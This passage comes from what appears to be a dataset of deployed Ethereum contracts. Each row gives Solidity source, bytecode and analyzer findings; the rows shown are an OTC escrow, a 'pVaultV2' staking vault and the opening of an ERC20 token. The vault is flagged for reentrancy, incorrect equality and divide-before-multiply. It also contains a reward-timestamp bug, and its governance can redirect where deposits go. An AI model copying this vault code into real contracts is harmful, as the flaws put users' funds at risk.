uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* Simple OTC Escrow contract to transfer tokens OTC Inspired and forked from BadgerDAO https://github.com/Badger-Finance/badger-system/blob/develop/contracts/badger-timelock/OtcEscrow.sol */ contract OtcEscrow { using SafeERC20 for IERC20; address public receivedToken; address public sentToken; address public recipient; address public beneficiary; uint256 public receivedAmount; uint256 public sentAmount; constructor( address beneficiary_, address recipient_, address receivedToken_, address sentToken_, uint256 receivedAmount_, uint256 sentAmount_ ) { beneficiary = beneficiary_; recipient = recipient_; receivedToken = receivedToken_; sentToken = sentToken_; receivedAmount = receivedAmount_; sentAmount = sentAmount_; } modifier onlyApprovedParties() { require(msg.sender == recipient || msg.sender == beneficiary); _; } /// @dev Atomically trade specified amount of receivedToken for control over sentToken in vesting contract /// @dev Either counterparty may execute swap if sufficient token approval is given by recipient function swap() public onlyApprovedParties { // Transfer expected receivedToken from beneficiary IERC20(receivedToken).safeTransferFrom( beneficiary, recipient, receivedAmount ); // Transfer sentToken to beneficiary IERC20(sentToken).safeTransfer(address(beneficiary), sentAmount); } /// @dev Return sentToken to Fei Protocol to revoke escrow deal function revoke() external { require(msg.sender == recipient, "onlyRecipient"); uint256 sentTokenBalance = IERC20(sentToken).balanceOf(address(this)); IERC20(sentToken).safeTransfer(recipient, sentTokenBalance); } function revokeReceivedToken() external onlyApprovedParties { uint256 receivedTokenBalance = IERC20(receivedToken).balanceOf( address(this) ); IERC20(receivedToken).safeTransfer(beneficiary, receivedTokenBalance); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80639632e720116100665780639632e720146100f8578063b551ea061461010f578063b6549f7514610117578063d8193b981461011f578063fc7932321461012857600080fd5b806338af3eed14610098578063444cef88146100c857806366d003ac146100db5780638119c065146100ee575b600080fd5b6003546100ab906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6001546100ab906001600160a01b031681565b6002546100ab906001600160a01b031681565b6100f661013b565b005b61010160045481565b6040519081526020016100bf565b6100f66101b2565b6100f661026e565b61010160055481565b6000546100ab906001600160a01b031681565b6002546001600160a01b031633148061015e57506003546001600160a01b031633145b61016757600080fd5b60035460025460045460005461018f936001600160a01b03918216939082169291169061034a565b6003546005546001546101b0926001600160a01b03918216929116906103bb565b565b6002546001600160a01b03163314806101d557506003546001600160a01b031633145b6101de57600080fd5b600080546040516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa158015610227573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061024b9190610645565b60035460005491925061026b916001600160a01b039081169116836103bb565b50565b6002546001600160a01b031633146102bd5760405162461bcd60e51b815260206004820152600d60248201526c1bdb9b1e549958da5c1a595b9d609a1b60448201526064015b60405180910390fd5b6001546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610306573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061032a9190610645565b60025460015491925061026b916001600160a01b039081169116836103bb565b6040516001600160a01b03808516602483015283166044820152606481018290526103b59085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526103f0565b50505050565b6040516001600160a01b0383166024820152604481018290526103eb90849063a9059cbb60e01b9060640161037e565b505050565b6000610445826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166104c29092919063ffffffff16565b8051909150156103eb5780806020019051810190610463919061065e565b6103eb5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016102b4565b60606104d184846000856104db565b90505b9392505050565b60608247101561053c5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016102b4565b6001600160a01b0385163b6105935760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016102b4565b600080866001600160a01b031685876040516105af91906106ac565b60006040518083038185875af1925050503d80600081146105ec576040519150601f19603f3d011682016040523d82523d6000602084013e6105f1565b606091505b509150915061060182828661060c565b979650505050505050565b6060831561061b5750816104d4565b82511561062b5782518084602001fd5b8160405162461bcd60e51b81526004016102b491906106c8565b60006020828403121561065757600080fd5b5051919050565b60006020828403121561067057600080fd5b815180151581146104d457600080fd5b60005b8381101561069b578181015183820152602001610683565b838111156103b55750506000910152565b600082516106be818460208701610680565b9190910192915050565b60208152600082518060208401526106e7816040850160208701610680565b601f01601f1916919091016040019291505056fea26469706673582212202ed90ec41f95caf771bcea9e3e7ce6fb09d8b6b407e1b398c5989489468c6bc764736f6c634300080a0033
{"success": true, "error": null, "results": {}}
8,359
0xd13c27e3fb713925ed78d1fb68bea15e6d1dff13
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pVaultV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), amount); Reward memory reward; reward = Reward(amount, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amount); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,360
0x58f19f6afb56b99ddafa293256525cd0f521edba
pragma solidity ^0.5.0; contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), 